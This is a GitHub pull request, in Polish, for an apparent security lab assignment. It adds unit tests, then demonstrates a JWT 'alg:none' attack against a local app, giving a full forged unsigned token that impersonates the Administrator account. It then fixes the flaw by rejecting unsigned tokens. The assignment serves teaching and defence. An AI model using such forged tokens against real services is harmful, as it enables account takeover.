Skip to content

Conversation

@kusmierzrafal
Copy link

Zadanie 1

Dodano testy jednostkowe dla klasy Book oraz ich uruchomienie w pliku Dockerfile (commit zadanie 1 - testy).

Zadanie 2 - atak

Token uzyskany dla użytkownika Bob:

{
    "jwt_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3NjQxMDc0NDIsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.P1-ENYxmi_DA7o39lyNUqlJvGihg83HSpafBWKZWBB4"
}

Token przesyłany do endpointu jwt/none składa się z trzech elementów: nagłówka, części danych (payload) oraz podpisu. Podpis standardowo tworzony jest przy użyciu sekretu, który jest na stałe wpisany w kod źródłowy aplikacji.
Jeśli jednak w nagłówku zakodujemy informację, że nie ma być używana żadna metoda podpisu, czyli:

{"alg":"none"}

to możemy połączyć go z ładunkiem dotyczącym innego użytkownika, w naszym przypadku

{
    "account":"Administrator",
    "role":"User",
    "iat":1764107442,
    "aud":"https://127.0.0.1/jwt/none"
}

Po zakodowaniu nagłówka i ładunku w base64 i połączeniu ich kropką otrzymujemy token w postaci:

{
    "jwt_token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2NvdW50IjoiQWRtaW5pc3RyYXRvciIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNzY0MTA3NDQyLCJhdWQiOiJodHRwczovLzEyNy4wLjAuMS9qd3Qvbm9uZSJ9."
}

Po wysłaniu żądania na endpoint jwt/none z powyższym tokenem uzyskujemy oczekiwaną odpowiedź serwera:
Zrzut ekranu 2025-11-25 o 23 10 47

Zadanie 2 - usunięcie podatności

Usunięcie podatności zostało zrealizowane poprzez usunięcie możliwości wysłania niepodpisanego posta (commit zadanie 2 - usunięcie podatności).

Po usunięciu podatności przesłanie ponownie tego samego żądania kończy się informacją o nieprawidłowym algorytmie:
Zrzut ekranu 2025-11-25 o 23 21 43

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant